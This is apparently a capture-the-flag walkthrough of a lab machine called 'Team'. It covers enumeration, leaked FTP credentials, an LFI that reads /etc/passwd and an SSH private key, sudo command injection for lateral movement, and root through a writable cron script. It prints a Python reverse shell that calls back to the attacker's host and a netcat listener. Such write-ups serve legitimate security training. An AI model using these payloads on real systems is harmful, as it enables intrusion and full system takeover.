Team

Web enumeration - Subdomain Enumeration - LFI - Leaking the Private Key - Lateral Movement - CronJob PrivEsc

Initial Compromise

  • Let’s add the domain to our hosts file:

$ echo "10.10.246.106 team.thm" | sudo tee -a /etc/hosts
  • Nmap reveals 3 services running on their standard ports

$ nmap -sC -sV -A 10.10.246.106
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-23 13:43 CEST
Nmap scan report for 10.10.246.106
Host is up (0.065s latency).
Not shown: 997 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
|   256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_  256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration

  • The web server seems to show only the Apache welcome page. There is a robots.txt file, but it only provides a string which may be a potential username

kali@kali:/data/Team/files$ curl -s http://team.thm/robots.txt
dale
  • Enumerating the directories at the root of the web server with gobuster reveals the presence of a /scripts directory

kali@kali:/data/Team/files$ gobuster dir -u http://www.team.thm -x php,txt -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://www.team.thm
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2021/04/25 13:08:59 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.php (Status: 403)
/.hta.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/scripts (Status: 301)
/server-status (Status: 403)
  • Let's enumerate further - /scripts as it appends a / by default using the .php and .txt extensions

kali@kali:/data/vpn$ gobuster dir -u http://www.team.thm/scripts/ -x php,txt -w /usr/share/wordlists/dirb/common.txt ===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://www.team.thm/scripts/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2021/04/23 15:24:49 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.php (Status: 403)
/.hta.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt (Status: 403)
/script.txt (Status: 200)
  • However, this file is only a hint to find another file:

kali@kali:/usr/share/wordlists/dirbuster$ curl -s http://www.team.thm/scripts/script.txt

#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit

Updated version of the script Note to self had to change the extension of the old "script" in this folder, as it has creds in
  • The backup file - /script.old is much more interesting as it contains credentials for the FTP Access !

  • Now with valid credentials (ftpuser:T3@m$h@r3), we can connect against the FTP service

kali@kali:/usr/share/wordlists/dirbuster$ ftp team.thm
Connected to team.thm.
220 (vsFTPd 3.0.3)
Name (team.thm:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    2 65534    65534        4096 Jan 15 21:25 workshare
226 Directory send OK.

ftp> cd workshare
250 Directory successfully changed.

ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    2 65534    65534        4096 Jan 15 21:25 .
drwxr-xr-x    5 65534    65534        4096 Jan 15 21:25 ..
-rwxr-xr-x    1 1002     1002          269 Jan 15 21:24 New_site.txt
226 Directory send OK.

ftp> get New_site.txt -
remote: New_site.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for New_site.txt (269 bytes).

Dale
    I have started coding a new website in PHP for the team to use, this is currently under development. It can be
found at ".dev" within our domain.

Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file.

Gyles 
226 Transfer complete.
269 bytes received in 0.00 secs (101.9780 kB/s)

Alternatively,

  • What we can do is, to dig the subdomains using tools like ffuf - we find a subdomian dev.team.thm

kali@kali:/data/Team/files$ curl -s http://dev.team.thm
<html>
 <head>
  <title>UNDER DEVELOPMENT</title>
 </head>
 <body>
  Site is being built<a href=script.php?page=teamshare.php </a>
<p>Place holder link to team share</p>
 </body>
</html>
  • Connecting to the dev subdomain reveals an interesting script.php page - Since it has a user input we can try for flaws such as LFI or any OS command Injection

kali@kali:/data$ curl -s http://dev.team.thm/script.php page=../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
dale:x:1000:1000:anon,,,:/home/dale:/bin/bash
gyles:x:1001:1001::/home/gyles:/bin/bash
ftpuser:x:1002:1002::/home/ftpuser:/bin/sh
ftp:x:110:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
  • After a few unsuccessful attempts to read the SSH key in the home folder, I decided to run the discovery using a dictionnary of paths using wfuzz or we can even use burpsuite for this matter

kali@kali:/usr/share/wordlists/SecLists/Fuzzing/LFI$ wfuzz -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://dev.team.thm/script.php?page=FUZZ --hw=0

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://dev.team.thm/script.php?page=FUZZ
Total requests: 257

===================================================================
ID           Response   Lines    Word     Chars       Payload                                             
===================================================================

000000001:   200        34 L     42 W     1698 Ch     "/etc/passwd"                                       
000000005:   200        230 L    1119 W   7313 Ch     "/etc/apache2/apache2.conf"                         
000000015:   200        15 L     123 W    721 Ch      "/etc/crontab"                                      
000000018:   200        10 L     68 W     424 Ch      "/etc/fstab"                                        
000000024:   200        8 L      22 W     185 Ch      "/etc/hosts"                                        
000000025:   200        11 L     57 W     412 Ch      "/etc/hosts.allow"                                  
000000026:   200        18 L     111 W    712 Ch      "/etc/hosts.deny"                                   
000000038:   200        3 L      5 W      25 Ch       "/etc/issue"                                        
000000044:   200        5 L      6 W      104 Ch      "/etc/lsb-release"                                  
000000048:   200        34 L     198 W    2455 Ch     "/etc/mtab"                                         
000000052:   200        5 L      16 W     91 Ch       "/etc/network/interfaces"                           
000000053:   200        3 L      12 W     92 Ch       "/etc/networks"                                     
000000055:   200        34 L     42 W     1698 Ch     "/etc/passwd"                                       
000000070:   200        28 L     97 W     582 Ch      "/etc/profile"                                      
000000080:   200        19 L     113 W    736 Ch      "/etc/resolv.conf"                                  
000000084:   200        169 L    447 W    5990 Ch     "/etc/ssh/sshd_config"                              
000000083:   200        52 L     218 W    1581 Ch     "/etc/ssh/ssh_config"                               
000000094:   200        160 L    955 W    5937 Ch     "/etc/vsftpd.conf"                                  
000000104:   200        28 L     164 W    901 Ch      "/proc/cpuinfo"                                     
000000105:   200        35 L     61 W     405 Ch      "/proc/filesystems"                                 
000000106:   200        41 L     188 W    1774 Ch     "/proc/interrupts"                                  
000000107:   200        42 L     139 W    1007 Ch     "/proc/ioports"                                     
000000108:   200        48 L     137 W    1308 Ch     "/proc/meminfo"                                     
000000109:   200        83 L     492 W    4650 Ch     "/proc/modules"                                     
000000110:   200        34 L     198 W    2455 Ch     "/proc/mounts"                                      
000000111:   200        10 L     998 W    2136 Ch     "/proc/stat"                                        
000000112:   200        3 L      10 W     102 Ch      "/proc/swaps"                                       
000000113:   200        2 L      17 W     147 Ch      "/proc/version"                                     
000000114:   200        3 L      15 W     157 Ch      "/proc/self/net/arp"                                
000000188:   200        1 L      1 W      32097 Ch    "/var/log/faillog"                                  
000000224:   200        2 L      4 W      1537 Ch     "/var/run/utmp"                                     
000000220:   200        13 L     106 W    62955 Ch    "/var/log/wtmp"                                     
000000181:   200        5332 L   31922    364050 Ch   "/var/log/dpkg.log"                                 
                                 W                                                                        
000000199:   200        5 L      18 W     292866 Ch   "/var/log/lastlog"
  • The /etc/ssh/sshd_config revealed user Dale's private key

Privilege Escalation

  • Let’s save the SSH key and connect to get the user flag

$ curl -s http://dev.team.thm/script.php?page=/etc/ssh/sshd_config | tail -n 39 | sed -s "s/#//g" > /data/ssh.key
$ chmod 600 ssh.key 
$ ssh -i ssh.key dale@team.thm
Last login: Mon Jan 18 10:51:32 2021
dale@TEAM:~$ 
  • Since the /etc/passwd revealed that there is another user called gyles, lets laterally move to the gyle user

Lateral Movement

  • Checking the dale user's privileges - reveals that we can runa script as gyles using sudo

dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks
  • The script is

dale@TEAM:/home/gyles$ cat admin_checks 

#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"
  • The read variable takes the user input and stores it in the variable name and then it echo's the $name variable into /var/stats/stats.txt

  • It agains read another user input and stores it in the variable called error - This variable is directly executed and whatever errror it shows up is redirected to /dev/null

  • This is where we are gonna execute our shell command - /bin/bash -i , which immediately gives us a bash prompt as a root user

  • Since the gyle user has the sudo access to run the file we can directly abuse the gyle user's privilege

dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: gyles
Enter 'date' to timestamp the file: /bin/bash -i
The Date is uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
python3 -c "import pty;pty.spawn('/bin/bash')"
gyles@TEAM:~$ id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
gyles@TEAM:~$
gyles@TEAM:~$
gyles@TEAM:~$
gyles@TEAM:~$

NOTE - We can add our ~/.ssh/id_rsa.pub key to /home/gyles/.ssh/authorized_keys to connect directly as gyles

Getting R00T

  • Running pspy64 will reveal the following cron job executed by root - or we can simply visit the /opt directory as it comes under the Interesting Directory category !

2021/04/25 11:21:01 CMD: UID=0    PID=21433  | /bin/bash /opt/admin_stuff/script.sh
gyles@TEAM:/tmp$ cat /opt/admin_stuff/script.sh 
#!/bin/bash
#I have set a cronjob to run this script every minute


dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
  • One of which being writable. Let’s replace its content with a reverse shell

gyles@TEAM:~$ cat /usr/local/bin/main_backup.sh
#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
  • Since its a cron job, we'll wait till its getting executed and meanwhile let's keep our listener ready :)

kali@kali:~$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...

connect to [10.8.50.72] from (UNKNOWN) [10.10.156.169] 44966
bash: cannot set terminal process group (1201): Inappropriate ioctl for device
bash: no job control in this shell
root@TEAM:~# 
root@TEAM:~# id
id
uid=0(root) gid=0(root) groups=0(root),1004(admin)
root@TEAM:~#
root@TEAM:~#
root@TEAM:~#
root@TEAM:~#

Last updated